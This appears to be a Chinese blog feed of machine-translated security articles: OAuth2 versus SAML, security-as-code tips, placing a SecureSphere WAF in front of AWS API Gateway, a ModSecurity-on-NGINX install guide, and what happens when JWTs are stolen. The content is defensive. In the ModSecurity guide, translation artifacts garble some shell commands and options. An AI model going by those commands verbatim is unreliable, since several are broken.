当您只关心web应用程序（或具有实现身份验证解决方案的web服务器的本地应用程序）时，您实际上可以在OAuth2和SAML之间进行选择。这引出了一个问题：谁不想让本机应用程序进行身份验证？

现在，从身份验证流中删除本地移动应用程序支持是非常不切实际的。这使得新的基于SAML的身份验证流看起来非常徒劳，尽管我知道它在企业界仍然很流行。

当您从头开始构建授权服务器时，我的建议是从OAuth2开始。尽管SAML在技术上是一个选择，但在当今移动主导的世界中，这是一个时代错误。OAuth2要简单得多，而且花费更少。

通过阅读75页，您可以全面了解OAuth2在 RFC 6749 b中的工作原理，而SAML 2.0规范 (core, bindings, profiles, metadata, conformance) 总计265页。

在我看来，与SAML 2.0规范相比，RFC 6749也更容易阅读和理解。

购买和配置现成授权服务器

如果您所在的公司不想实施授权服务器，但想购买现成的产品进行配置，那么您可以选择以下选项：

• Okta –IDentity提供商即服务平台（IDaaS）。成本取决于您是只允许组织的内部用户登录，还是希望外部用户也登录。
• OneLogin –IDaaS
• Ping Federate–IDaaS和站点安装，封闭源代码。
• WSO2 Identity Server ––开源且技术上免费，但要使用它，您100%需要购买支持合同。
• Shibboleth –免费开源。
• Gluu –使用其他开源组件（如Shibboleth）构建的开源平台，您可以购买支持合同。

对于更多的选择 list，这里列出了Ping Federate的竞争对手。

 off-the-shelf i的好处是，这些产品中的大多数都支持大量现成的授权流（例如OAuth2、OAuth1.0a、SAML等）。如果您的团队不是一个开发团队，而是一个系统管理/集成团队，那么现成的产品看起来更具吸引力。

 off-the-shelf i 的缺点是，你会得到很多你不需要的东西，而且你必须忍受通常笨重的用户界面和配置文件来做你需要的事情。所有非IDaaS的现成产品都可能需要支持合同才能启动和运行。对于您的团队来说，不仅要了解产品，还要了解授权流程以及如何配置和使用它们，这是一个很大的学习曲线。

尽管如此，与雇佣一个开发团队并从头开始构建自己的平台相比，支付一份支持合同来让你站起来并继续下去可能会更便宜。在某些情况下，如果您需要对授权服务器产品进行任何类型的自定义集成或定制，则可能需要两者中的一点。

像Okta、OneLogin等IDaaS产品对我来说非常有趣，因为它们继续将负担转嫁给提供商。随着时间的推移，您似乎会有更少的头痛，因为您不必担心修补和升级本地安装。相反，一旦它们可用，您将自动获取其中的大部分。这里的缺点是定制和本地站点安装可能不是一个选项。

当OAuth2太开放时

关于OAuth2的一个常见抱怨是它不够具体，并且留下了太多的变化空间。例如，OAuth2没有指定您应该如何获取用户配置文件信息（如果有的话），但大多数OAuth2提供程序都提供了实现这一点的方法，不同的提供程序可能会有所不同。

输入 OpenID Connect；OAuth2之上的一层。从其站点OpenID Connect：

允许客户端基于授权服务器执行的身份验证验证最终用户的身份，并以可互操作和类似REST的方式获取有关最终用户的基本配置文件信息

今年早些时候，OpenID Connect的认证计划启动。最先自我认证的是谷歌、微软、Ping Identity、ForgeLock、野村研究所和PayPal。此外，Salesforce还支持OpenID Connect。

如果您担心互操作性，那么现在有许多供应商和产品都遵循相同的标准，使用OAuth2流检索用户配置文件信息，而且列表还在不断增加。

尽管OpenIDConnect相对较新，但它在过去两年中一直在开发中，并为各种编程语言开发了大量库（a large number of libraries ）。

当SAML是实际选项时

当您拥有已经使用SAML的遗留或企业基础设施时，SAML是一个真正的选择。当你想利用这个基础设施时，SAML是一个有力的竞争者。然而，随着OAuth2和OpenIDConnect的兴起，SAML将很快被降级为遗留基础设施和集成。

例如，Microsoft的云平台Azure Active Directory支持SAML SSO，但截至2014年9月，它发布了OAuth2和OpenID Connect以实现通用性。

总结

现在，我们都很好地理解了OAuth2和SAML之间的权衡，我们可以重新问一个问题：我应该使用SAML还是OAuth2？

经验法则是首先查看基于OAuth2的解决方案。如果您不能取消OAuth2的资格以满足您的需求，那么您将拥有一个适用于更多应用程序的解决方案，而且更易于构建、理解、集成和支持。

在必须进行SAML集成的情况下，您现在知道了它的一些局限性，您将看到您可能需要花费额外的精力或在哪里寻找第三方提供商。

如今，作为代码和安全设计的安全性是会议的热门术语。但这些短语究竟是什么意思，你怎么能开始在你的组织中采用它们？

正如Grupo Banco Santander安全研究负责人Daniel Cuthbert在“为开发者致电武器：以安全为代码的革命性”中所写道：

现在是时候把我们的努力集中在防御 - 而不是攻击 - 并让那些能够有所作为的人成为英雄：开发者。

BIDS Trading Technologies的首席技术官Jim Bird是一位拥有20多年金融服务技术经验的软件和项目经理，他在O'Reilly的这份报告中写道：

作为代码的安全性是关于在DevOps工具和实践中构建安全性，使其成为工具链和工作流的重要组成部分。您可以通过绘制如何更改代码和基础结构以及查找添加安全检查和测试和门的位置而不会引入不必要的成本或延迟来实现此目的。
 - 吉姆伯德

那么您的团队如何超越概念转变为行动？这里有11个技巧可以帮助您入门。

1.理解'安全SDLC'的含义

了解安全软件开发生命周期（SDLC）将帮助您评估如何在特定的DevOps情况下构建安全性。您可以犯的最大错误是尝试执行安全性而不了解它是什么。

关于这个主题的权威来源是OWASP Secure SDLC备忘单;虽然它仍处于草稿模式，但它提供了一个很好的概述。下图显示了在开发周期的每个步骤中发生的活动。

显示“向左移动”的箭头说明了通过执行安全实践尽早嵌入安全性的概念，下面进一步定义。图片提供：OWASP。

2.使用SAMM评估您的情况

软件保障成熟度模型（SAMM）是一个开放式框架，可帮助组织制定和实施针对组织面临的特定风险量身定制的软件安全策略。但是，有些人认为这个框架执行起来很复杂。

在您的组织牢牢掌握SAMM之前，这些问题将帮助您快速评估DevOps流程的安全组件：

1. 要求：您是否正在收集专门针对要构建的软件的安全和隐私要求？
2. 设计：您是否在每个sprint上进行威胁建模？
3. 开发：您使用静态分析和代码审查吗？
4. 测试：您是否使用动态分析和安全测试来验证安全要求？
5. 部署：您是否计划使用笔测试评估最终版本或进行包含错误赏金计划的风险评估？

如果您的答案大多数没有，那么您处于实施安全性的早期阶段 - 换句话说，您的DevSecOps工作处于非常低的成熟度级别。

许多组织将他们的安全工作集中在周期的最后阶段，在笔测试之后进行部署。不幸的是，如果您发现主要漏洞，这种方法成本最高。而且一个很大的风险是笔测试可能无法发现确实存在的任何重大问题。

相反，“左移”运动越来越注重从一开始就嵌入安全性，最终成本更低，风险更小。

3.注意DevOps中固有的安全挑战

DevOps是一个嵌入安全性的具有挑战性的过程。例如，考虑安全原则，例如“最低权限”，开发人员可以访问生产环境并进行任何更改。这与大多数最佳实践安全概念相矛盾，但是当安全性作为代码到位时，仍然希望嵌入安全性。

安全性不能成为业务的障碍，但有必要在安全开发和没有安全形式的敏捷之间找到平衡点。

4.尽快将安全性作为代码实施

在敏捷冲刺期间嵌入安全性应该是完美无缺的，并且几乎是自动的。这是理想的情况，但很难做到正确。

另一种方法是在此过程中尽可能自动化，包括应该必须具备的特定安全DevOps管道。团队中的每个人都应该保持一致并坚持这些想法。

5.早期的威胁模型

在sprint开始前至少一天计划威胁建模会话。所有潜在的问题和风险都应成为安全故事的一部分。

6.尽早定义安全要求

1. 确保在sprint开始时定义安全要求，包括威胁建模问题。 （提示：使用OWASP ASVS 2.0来支持此过程。）
2. 制作安全要求安全性故事并将其添加到sprint backlog中。
3. 在sprint定义期间，计算实现和创建测试用例以解决这些安全性故事/任务所需的工作量。 （提示：使用OWASP测试指南。）
4. 在开发阶段使用OWASP主动控件，并确保在每个sprint期间这些控件成为常规任务。

7.使用SAST / DAST工具

1. 在构建过程中插入静态和动态分析工具（SAST / DAST）。
2. 从这些扫描中获得定期冲刺错误的结果。这应该在清理任务之后完成，例如确保消除尽可能多的误报。
3. 如果代码变化太大，您可能会重新考虑如何应用SAST，因为当代码发生很大变化时会出现许多误报。
4. 如果您的组织无法负担付费工具，请查看开源替代方案，例如OWASP依赖关系检查，以至少找到易受攻击的组件。

8.尽可能执行代码审查

一个任务是执行代码审查作为sprint的一部分。这里发现的任何问题都会在冲刺结束时成为错误。

9.衡量风险并确定优先顺序

产品所有者 - 或者在决策中执行此指定角色的人 - 应具有适当的安全背景，以了解问题并能够优先考虑那些需要最高关注的问题。

10.准备安全性代码骨干

环境的任何更改（QA / UAT / PROD）都应该使用代码手动完成。配置的所有更改都应该通过代码，使用源存储库并跟踪所有更改。这可以通过任何流行的构建，源代码和部署工具来实现。这是代码安全概念的支柱。

纵观整个过程，DevOps管道应侧重于嵌入自动化持续交付过程的活动。以下是关注的内容：

1. 所有环境中的配置更改都应该由源控制和同行评审。
2. 构建过程应该自动化集成和部署。
3. 在考虑安全性的情况下仔细检查容器的配置。
4. 应将SAST工具集成到构建过程中，并将发现的问题反馈到sprint中。

11.定期评估，冲洗并重复

进行SAMM评估会议以检查您实施安全性的完整程度，并创建特定的短期任务来实现此目标。一步一步是关键。

左移可以帮助你保持领先

向左移动的组织在发现缺陷方面更有效，修复它们的损失和成本低于开发人员部署应用程序时，或者在发布应用程序之后。

但快速交付的压力使设计的安全性变得更加困难。 DevOps团队有责任在短时间内验证安全要求。 “作为代码的安全性”可以在这方面发挥重要作用，因为它有助于自动化安全部署过程，使过程更容易，更快。

您的团队如何将安全性视为代码？在下面的评论中分享您的最佳做法。

原文：https://techbeacon.com/security/how-deliver-security-code-11-tips-get-started

本文：

讨论：请加入知识星球或者小红圈【首席架构师圈】

无服务器架构正变得越来越流行，而亚马逊的API网关服务是AWS上许多无服务器部署的关键因素。 目前，API网关仅支持公共CloudFront端点，并且保护具有高端WAF保护的API网关可能看起来是一项艰巨的任务。 在这篇博文中，我们将解释如何使用SecureSphere WAF保护示例API网关应用程序。
虽然此处的重点是AWS，但请记住，以下内容也可用于保护其他公共端点或API网关供应商。

示例API网关应用程序 - 入门

常见的Amazon API Gateway部署可能如下所示（图1）：

图1：使用AWS API Gateway的典型应用程序部署模式
此示例应用程序完全无服务器，并使用AWS服务进行扩展，自动配置，授权，日志记录等。 有很好的在线教程可以教你如何部署这样的应用程序（使用现成的CloudFormation模板）。
部署API后，API网关会创建一个具有面向公众的URL的阶段（参见图2）：

图2：AWS API Gateway Console显示运行“Deploy API”后创建的公共端点
此阶段实际上是隐藏的CloudFront分配。 接下来，您需要创建一个正确的CloudFront分配，以便Imperva SecureSphere可以在没有客户端SNI的情况下与之通信（图3）：

图3：AWS CloudFront控制台，其新分发转发到我们的API网关端点
您不希望客户端应用程序或用户在没有保护的情况下直接访问此端点，因此下一步是在AWS上设置SecureSphere堆栈。

设置SecureSphere AWS公共端点堆栈

目标是使用SecureSphere WAF和AWS实现以下架构（图4）：

图4：SecureSphere WAF部署体系结构，用于保护AWS API Gateway流量
在大多数情况下，AWS上的SecureSphere部署将保护与SecureSphere堆栈或对等VPC位于同一VPC中的Web端点。 由于SecureSphere支持反向代理体系结构，因此它也可以保护公共端点。 要了解有关如何在AWS中部署SecureSphere的更多信息，请参阅此博客文章。
最后，部署的堆栈应如下所示（图5）：

图5：AWS上SecureSphere WAF部署的详细架构图，用于保护公共端点
架构摘要：

1. 公共端点成为外部负载均衡器DNS名称（需要将外部主机名的DNS附件添加到ELB主机名）。
2. WAF网关将外部主机名（例如www.mycompany.com）重写到AWS API网关端点（fznty25z54.execute-api.us-east-1.amazonaws.com）。
3. WAF网关处理请求并将它们路由到CloudFront域名（d2we3m806cjgh0.cloudfront.net）。
4. VPC出口点通过NAT网关弹性IP完成（也可以使用代理或NAT实例）。这些是静态IP，可用于限制对AWS API Gateway的访问。
5. 如果SecureSphere Management Server位于公有子网中并可从Internet访问，则它应具有严格的安全组，以限制可以访问它的IP地址。
6. 建议SecureSphere堆栈和AWS API Gateway位于同一区域，以获得最佳延迟性能。

在SecureSphere中，您应该有一个URL重写规则，如下所示（图6）：

图6：SecureSphere URL重写规则
API网关通过其生成的主机名（fznty25z54.execute-api.us-east-1.amazonaws.com）了解应用程序。 此URL重写规则将外部主机名（www.company.com）转换为API网关主机名。
SecureSphere反向代理配置应如下所示（图7）：

图7：SecureSphere反向代理规则。 点击放大图片。
首先，URL重写规则（apig）生效，然后将API网关流量（Host = fznty25z54.execute-api.us-east-1.amazonaws.com）路由到CloudFront端点（Internal Hostname = d2we3m806cjgh0.cloudfront.net）。

限制对API网关的访问

此时，您的公共域名（www.company.com）将通过SecureSphere WAF。 但是，您仍然可以绕过SecureSphere WAF的公共API网关端点。 AWS API Gateway不支持安全组来限制IP访问，但您可以使用其授权功能执行变通方法。
通过SecureSphere的流量始终来自SecureSphere堆栈中的公共NAT网关EIP。 您需要在API网关中创建一个“自定义授权程序”，它只允许访问这些IP地址（图8）：

图8：限制对SecureSphere堆栈公共IP的访问的自定义Lambda Authorizer（52.55.64.33）
需要为应用程序中的每个方法设置授权，但如果您已经在使用IAM授权，则可以轻松添加IP条件。

补充说明

AWS出站流量（来自VPC）可能会变得昂贵。如果您有大量静态内容，请考虑直接访问S3（或存储内容的任何位置）并绕过WAF以减少双跳和收费。
如果您的API网关充当HTTP通信的代理，则可以将WAF放置在API网关和HTTP端点之间。更常见的是，API网关支持Lambda函数或其他AWS服务，因此需要将WAF置于API网关之前。
AWS API网关替代方案（例如，Apigee）支持VPC集成，因此允许更传统的边界安全架构。 AWS API Gateway可能会在未来引入对类似架构的支持。
最后，请记住，创建“公共SecureSphere堆栈”可以为您提供SecureSphere的安全控制，并具有将WAF和应用程序端点分离的灵活性。您正在创建自己的SaaS WAF解决方案，可以为任何Web端点提供保护 - 无论它在何处或何处。

原文：https://www.imperva.com/blog/how-to-protect-aws-api-gateway-with-securesphere-waf/

本文：http://pub.intelligentx.net/how-protect-aws-api-gateway-securesphere-waf

讨论：请加入知识星球或者小红圈【首席架构师圈】

世界上几乎有三分之一的网站使用NGINX web服务器，而且这个数字还在不断增长。越来越多的组织选择NGINX作为web服务器的原因很简单。它提供了良好的性能，并且是轻量级的，但同时也很健壮。

Web应用程序防火墙(WAF)

什么是web应用程序防火墙?它与网络防火墙有何不同?网络防火墙根据预先确定的规则监视和控制传入和传出的网络流量。通常，对于网络防火墙来说，恶意请求或攻击看起来就像正常的流量。有一些下一代网络防火墙是应用程序感知的，但它们是基础设施堆栈的一部分，而不是应用程序堆栈。web应用程序防火墙将作为应用程序堆栈的一部分来防止应用程序级别的攻击。随着应用程序的开发和测试，WAF策略和规则将成为流程的一部分，并与堆栈一起部署。作为第7层或HTTP层安全性的一部分，WAF将检查HTTP通信，并根据规则发出警报、记录或阻止请求。

何时使用WAF?

1. 合规要求。
2. 为开发团队提供缓冲。如果发现了任何漏洞，可以立即在WAF级别减轻这些漏洞，而开发团队可以更改代码并修补问题。

ModSecurity是什么?

这是在2002年作为Apache模块由唯一作者RistićApache开发的。大约在2012年，这个模块的许可被改变了，这允许为NGINX和IIS等服务器开发模块。ModSecurity module已经存在一段时间了，现在已经发布了不同的版本。与旧版本相比，最新版本(在撰写本文时)v3具有相当大的性能提升。它也可以作为动态模块使用，这意味着您不需要再次使用该模块编译NGINX，而只需编译该模块并将其插入web服务器即可。

安装ModSecurity v3

我们将深入研究使用Amazon Linux在AWS EC2上安装此模块的细节。本博客假设您已经安装并运行了NGINX，并且对NGINX配置文件有基本的了解。

注意:NGINX版本1.11.5或更高版本是必需的。

先决条件的包

如果您在服务器上从早期的源代码编译了NGINX，那么所有的包可能都已经在服务器上了。

yum install gcc make automake curl curl-devel httpd-devel autoconf libtool pcre pcre-devel libxml2 libxml2-devel

从源代码编译ModSecurity v3模块

代码编译分为两部分。编译ModSecurity代码作为NGINX的一个动态模块。将动态模块链接到正在运行的web服务器的连接器的编译。由于ModSecurity项目的模块化特性，要将其插入不同的服务器，只需为该服务器编译相应的连接器。据我所知，NGINX、Apache和IIS都有独立的连接器。

ModSecurity编译代码

$ git clone --depth 1 -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity$ cd ModSecurity 
$ git submodule init 
$ git submodule update 
$ ./build.sh 
$ ./configure 
$ make 
$ make installDuring the process of installation it is safe to ignore the below message.
fatal: No names found, cannot describe anything.Depending on the machine the compilation should be complete in about 12-15 mins.

 

为NGINX编译ModSecurity连接器作为一个动态模块

$ git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git

虽然只有动态模块将被编译完整的源代码Nginx需要编译模块。

确定安装了哪个版本的Nginx，以及来自官方站点的特定版本的源代码。

$ nginx -v
nginx version: nginx/1.14.1Get the source code
$ wget http://nginx.org/download/nginx-1.14.1.tar.gz
$ tar -xvzmf nginx-1.14.1.tar.gz

现在我们已经有了所有的代码，让我们编译模块。编译这个模块有一个陷阱。模块应该使用与编译服务器上的nginx相同的参数编译。您将能够使用nginx -V命令列出所有初始配置参数。

$ cd nginx-1.14.1.tar.gz
$ ./configure <original configuration here> --add-dynamic-module=../ModSecurity-nginx
$ make modules
$ cp objs/ngx_http_modsecurity_module.so /etc/nginx/modules

在上面的编译中有几点需要注意。

1. 如果依赖项不可用，可以从原始配置中删除——with-xxxxx-module=dynamic选项。
2. 复制共享对象(.so)文件时，需要确保将其复制到服务器上正确的文件夹。上面命令中提到的路径是通用位置，但是这可能会根据服务器配置而改变。

在Nginx中加载ModSecurity动态模块

将以下load_module指令添加到/etc/nginx/nginx.conf文件的顶层配置文件。它指示NGINX在加载配置时加载ModSecurity动态模块。

load_module modules/ngx_http_modsecurity_module.so

如果在加载模块时遇到一个错误，大致是“未能从:unicode加载定位unicode映射文件”。你可以遵循这个思路。基本上，您需要做的是复制这个文件到/etc/nginx/modsec/unicode.mapping

ModSecurity配置模块

有一个单独的文件夹可以保存所有modSecurity配置文件，这样更干净。这里，我们将使用ModSecurity项目当前维护者TrustWave SpiderLabs提供的配置文件标准推荐。

$ mkdir /etc/nginx/modsec
$ wget -P /etc/nginx/modsec/ https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/mods…
$ mv /etc/nginx/modsec/modsecurity.conf-recommended /etc/nginx/modsec/modsecurity.conf

默认情况下，该文件中的配置设置为DetectionOnly，这意味着将检测并记录恶意请求，但不会删除这些请求。将指令更改为主动删除请求。我建议对登台实例执行此操作，并在应用程序运行于任何生产实例之前对其进行测试。

配置引擎以主动删除恶意请求。

出于本博客的目的，我们将配置几个简单的规则。将以下文本放入/etc/nginx/modsec/main.conf:

Include "/etc/nginx/modsec/modsecurity.conf"
# Basic test rule
SecRule ARGS:blogtest "@contains test" "id:1111,deny,status:403"
SecRule REQUEST_URI "@beginsWith /admin" "phase:2,t:lowercase,id:2222,deny,msg:'block admin'"

规则1说，如果有一个名为“blogtest”的查询参数，其中包含一个值“test”，则删除请求。

规则2说，如果有一个URI以admin开头，则删除请求。

在生产环境中，您可能希望有更好的规则来防止恶意请求。OWASP核心规则集可能是一个很好的起点。

使ModSecurity模块

到目前为止，我们所做的就是安装模块，让NGINX加载它，并为模块设置一些配置。这并不意味着您所配置的服务器现在将开始使用这些配置。我们需要通过添加以下两个指令来为我们想要覆盖的主机启用这个模块:

server {
# Other server directives here
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;
}

不需要为服务器上的所有位置启用此模块。您还可以有一个配置，其中说只能在某些路径上启用，而不能在其他路径上启用。我不确定您为什么要这样做，但这实际上取决于您的用例。

server {
    listen 443;
    # modsecurity on; # All traffic over 443 have ModSec on
 
    location / {
       proxy_pass http://127.0.0.1:8080;
       modsecurity off; # ModSec off by default
    }    location /waf {
       proxy_pass http://127.0.0.1:8080;
       modsecurity on;
       modsecurity_rules_file /etc/nginx/modsec/main.conf;
       error_log /var/log/nginx/waf.log;
    }
}

测试配置

让我们运行一些curl请求来测试前面创建的简单规则。

$ curl http://localhost/adminaccess
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.14.1</center>
</body>
</html>$ curl http://localhost/admin-login
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.14.1</center>
</body>
</html>$ curl https://localhost?blogtest=thisistestparam
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.14.1</center>
</body>
</html>

正在记录请求及其被删除的原因。

结论

没有足够的安全。不同层次的安全比单一层次的安全在更大程度上减轻了威胁。Web应用程序防火墙是抵御恶意攻击的最后一道防线。ModSecurity是一个开源项目，它与NGINX无缝结合，并且能够应用OWASP核心规则集。这是开始保护应用程序的好地方。

原文：https://medium.com/building-goalwise/how-to-implement-modsecurity-waf-with-nginx-15fdd42fa3

本文：

讨论：请加入知识星球或者小红圈【首席架构师圈】

我们所有人都知道如果攻击者发现我们的用户凭据（电子邮件和密码）会发生什么：他们可以登录我们的帐户并造成严重破坏。 但是很多现代应用程序都在使用JSON Web令牌（JWT）来管理用户会话 - 如果JWT被泄露会发生什么？ 由于越来越多的应用程序正在使用基于令牌的身份验证，因此这个问题与开发人员越来越相关，并且对于了解是否构建使用基于令牌的身份验证的任何类型的应用程序至关重要。

为了帮助完整地解释这些概念，我将向您介绍令牌是什么，它们如何被使用以及当它们被盗时会发生什么。 最后：如果你的令牌被盗，我会介绍你应该做什么，以及如何在将来防止这种情况。

这篇文章的灵感来自StackOverflow这个问题。 我对这个问题的回答已成为我迄今为止对StackOverflow最受欢迎的回复之一！

什么是令牌？

Web开发上下文中的标记只不过是表示会话的任意值。 标记可以是“abc123”之类的字符串，也可以是随机生成的ID，如“48ff796e-8c8a-46b9-9f25-f883c14734ea”。

令牌的目的是帮助服务器记住某人是谁。 以API服务为例：如果您有一个API密钥，可以让您通过服务器端应用程序与API服务进行通信，那么API密钥就是API服务用来“记住”您的身份的密钥，请查看您的帐户详细信息 ，并允许（或禁止）您提出请求。 在此示例中，您的API密钥是您的“令牌”，它允许您访问API。

然而，当大多数人今天谈论令牌时，他们实际上是指JWT（无论好坏）。

什么是JSON Web令牌（JWT）？

JSON Web令牌是特殊类型的令牌，其结构使得它们便于在Web上使用。 他们有一些定义特征：

• 它们表示为普通字符串。 这是一个真正的JWT：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlJhbmRhbGwgRGVnZ2VzIiwiaWF0IjoxNTE2MjM5MDIyfQ.sNMELyC8ohN8WF_WRnRtdHMItOVizcscPiWsQJX9hmw

因为JWT只是URL安全字符串，所以它们很容易通过URL参数等传递。

• 它们包含JSON编码的数据。这意味着您可以根据需要为JWT存储尽可能多的JSON数据，并且可以将令牌字符串解码为JSON对象。这使它们便于嵌入信息。
• 它们是加密签名的。了解它的工作原理本身就是一个主题。现在，只要知道这意味着拥有JWT的任何可信方都可以判断令牌是否已被修改或更改。这意味着，如果您的应用程序或API服务生成一个令牌，表明某人是“免费”用户，而某人稍后会更改令牌以表明他们是“管理员”用户，您将能够检测到并采取相应行动。此属性使JWT对于在难以获得信任的Web上的各方之间共享信息非常有用。

这是一个小代码片段，它使用njwt库在JavaScript中创建和验证JWT。这个例子纯粹是为了让您一眼就能看到如何创建JWT，在其中嵌入一些JSON数据并验证它。

const njwt = require("njwt");

const secureRandom = require("secure-random");

// This is a "secret key" that the creator of the JWT must keep private.

var key = secureRandom(256, { type: "Buffer" });

// This is the JSON data embedded in the token.

var claims = {

iss: "https://api.com",

sub: "someuserid",

scope: "freeUser",

favoriteColor: "black"

};

// Create a JWT

var jwt = njwt.create(claims, key);

// Log the JWT

console.log(jwt);

// Jwt {

// header: JwtHeader { typ: 'JWT', alg: 'HS256' },

// body:

// JwtBody {

// iss: 'https://api.com',

// sub: 'someuserid',

// scope: 'freeUser',

// favoriteColor: 'black',

// jti: '903c5447-ebfd-43e8-8f4d-b7cc5922f5ec',

// iat: 1528824349,

// exp: 1528827949 },

// signingKey: <Buffer 9c e9 48 a7 b3 c9 87 be 5f 59 90 a5 08 02 9b 98 5c 5e 1c 29 3f b0 33 c5 8c c8 f9 c8 3e 35 f0 7c 20 a0 aa 65 cc 98 47 b6 31 c5 5c d6 4e 6e 25 29 2b d3 ... > }

// The JWT in compacted form (ready for sending over the network)

var token = jwt.compact();

// Log the compacted JWT

console.log(jwt.compact());

// eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2FwaS5jb20iLCJzdWIiOiJzb21ldXNlcmlkIiwic2NvcGUiOiJmcmVlVXNlciIsImZhdm9yaXRlQ29sb3IiOiJibGFjayIsImp0aSI6IjkwM2M1NDQ3LWViZmQtNDNlOC04ZjRkLWI3Y2M1OTIyZjVlYyIsImlhdCI6MTUyODgyNDM0OSwiZXhwIjoxNTI4ODI3OTQ5fQ.y7ad-nUsHAkI8a5bixYnr_v0vStRqnzsT4bbWGAM2vw

// Verify the JWT using the secret key

njwt.verify(token, key, (err, verifiedJwt) => {

if (err) throw err;

console.log("The JWT has been verified and can be trusted!");

// The JWT has been verified and can be trusted!

});

如何使用JSON Web令牌？

JWT通常用作Web应用程序，移动应用程序和API服务的会话标识符。但是，与传统会话标识符不同，传统会话标识符只是指向服务器端实际用户数据的指针，JWT通常直接包含用户数据。

JWT近年来变得流行的主要原因（自2014年以来仅存在）是它们可以包含任意JSON数据。 JWT相对于传统会话ID的好处是：

• JWT是无状态的，可以直接包含用户数据
• 因为JWT是无状态的，所以不需要实现服务器端会话（没有会话数据库，会话缓存等）

因为JWT是无状态的，所以当服务器端应用程序收到JWT时，它可以仅使用用于创建它的“密钥”来验证它 - 从而避免与后端数据库或缓存通信的性能损失，增加每个请求的延迟。

话虽如此，让我们来看看JWT通常如何在现代Web应用程序中使用。

1. 客户端（通常是浏览器或移动客户端）将访问某种登录页面
2. 客户端将其凭据发送到服务器端应用程序
3. 服务器端应用程序将验证用户的凭据（通常是电子邮件地址和密码），然后生成包含用户信息的JWT。嵌入在JWT中的信息通常是：
4. 用户的名字和姓氏
5. 用户的电子邮件地址或用户名
6. 用户的ID（如有必要，用于服务器端查找）
7. 用户的权限（他们允许做什么？）
8. 与正在使用的应用程序相关的任何其他数据
9. 服务器端应用程序将此令牌返回给客户端
10. 然后，客户端将存储此令牌，以便将来可以用它来标识自己。对于Web应用程序，这可能意味着客户端将令牌存储在HTML5本地存储中。对于服务器端API客户端，这可能意味着将令牌存储在磁盘或秘密存储中。
11. 当客户端将来向服务器发出请求时，它会将JWT嵌入到HTTP Authorization标头中以标识自己
12. 当服务器端应用程序收到新的传入请求时，它将检查是否存在HTTP Authorization标头，如果存在，它将解析标记并使用“密钥”验证它
13. 最后，如果令牌有效并且循环将完成，则服务器端应用程序将处理请求

简而言之：JWT用于识别客户端。就客户而言，它们是王国的关键。

如果您的JSON Web令牌被盗，会发生什么？

简而言之：它很糟糕，真的很糟糕。

由于JWT用于识别客户端，如果其中一个被盗或受到攻击，攻击者可以完全访问用户的帐户，就像攻击者破坏用户的用户名和密码一样。

例如，如果攻击者获得了您的JWT，他们可以开始向服务器发送请求，将自己标识为您，并执行诸如进行服务更改，用户帐户更新等操作。一旦攻击者拥有您的JWT，就会结束游戏。

但是，有一件事使得被盗的JWT比被盗的用户名和密码稍微不那么糟糕：时机。由于JWT可以配置为在设定的时间（一分钟，一小时，一天等）后自动过期，因此攻击者只能使用您的JWT访问该服务，直到它过期。

从理论上讲，这听起来很棒，对吗？据称令牌认证的一种方式是使认证更加“安全”，这是通过短期令牌实现的。这是近年来基于令牌的身份验证真正起步的核心原因之一：您可以自动使令牌过期并降低依赖永久缓存的“无状态”令牌的风险。

毕竟，在安全领域，依靠缓存数据做出敏感决策，例如谁可以登录服务以及他们可以做什么被认为是一件坏事。因为令牌是无状态的并且允许比传统会话认证有一些速度改进，所以它们保持某种程度上“安全”的唯一方式是限制它们的寿命，以便它们在受到危害时不会造成太大的伤害。

这里唯一的问题是，如果攻击者首先能够窃取您的令牌，那么一旦获得新令牌，他们很可能会这样做。这种情况最常见的方式是通过中间人（MITM）连接或直接访问客户端或服务器。不幸的是，在这些情况下，即使是最短寿命的JWT也根本无法帮助你。

通常，令牌应被视为密码并受到保护。它们永远不应公开共享，并应保存在安全的数据存储中。对于基于浏览器的应用程序，这意味着永远不会将您的令牌存储在HTML5本地存储中，而是将令牌存储在JavaScript无法访问的服务器端cookie中。

通常，基于令牌的身份验证不会提供依赖于不透明会话标识符的典型基于会话的身份验证的任何额外安全性。虽然基于令牌的身份验证肯定有很多用例，但了解技术的工作原理以及弱点的位置至关重要。

另一个有趣的事情是，在某些情况下，被盗的JWT实际上可能比被盗的用户名和密码更糟糕。

让我们暂时假装您的用户名和密码已被盗用。在这种情况下，如果您登录的应用程序受多因素身份验证保护，则攻击者需要绕过其他身份验证机制才能访问您的帐户。

虽然猜测或暴力破解用户名和密码是一个非常现实的场景，但是能够危及用户的多因素身份验证设置可能非常困难。绕过基于应用程序的授权，短信验证，面部识别码，触摸ID等因素比猜测用户密码更具挑战性。

因此，受损的JWT实际上可能比受损的用户名和密码具有更大的安全风险。想象一下上面的场景，用户登录的应用程序受多因素身份验证的保护。一旦用户通过多因素登录并验证自己，就会为他们分配一个JWT来证明他们是谁。如果JWT被盗，攻击者不再需要直接绕过MFA（就像他们只有用户的用户名和密码一样） - 他们现在可以直接向用户发出请求而无需额外的身份证明。相当大的风险。

如果您的JWT被盗，该怎么办？

一旦JWT被盗，您将陷入困境：攻击者现在可以冒充客户并在未经客户同意的情况下访问您的服务。但是，即使你处境糟糕，你仍然需要充分利用它。

如果客户的令牌被盗，可以采取以下步骤。这些建议不适用于所有类型的应用，但应为您提供一些好主意，以帮助您从此安全事件中恢复：

1. 立即撤销受损的令牌。如果您在服务器上使用撤销列表来使令牌无效，则撤消令牌可立即将攻击者从系统中启动，直到他们获得新令牌为止。虽然这是一个临时解决方案，但它会让攻击者的生活变得更加困难。
2. 强制您的客户立即更改密码。在Web或移动应用程序的上下文中，强制您的用户立即重置其密码，最好通过某种多因素身份验证流程，如Okta提供的那样。如果攻击者试图使用受感染的令牌修改用户登录凭据，则强制用户更改其密码可能会使攻击者远离其帐户。通过要求多因素身份验证，您可以更自信地重置其凭据的用户是他们所声称的人而不是攻击者。
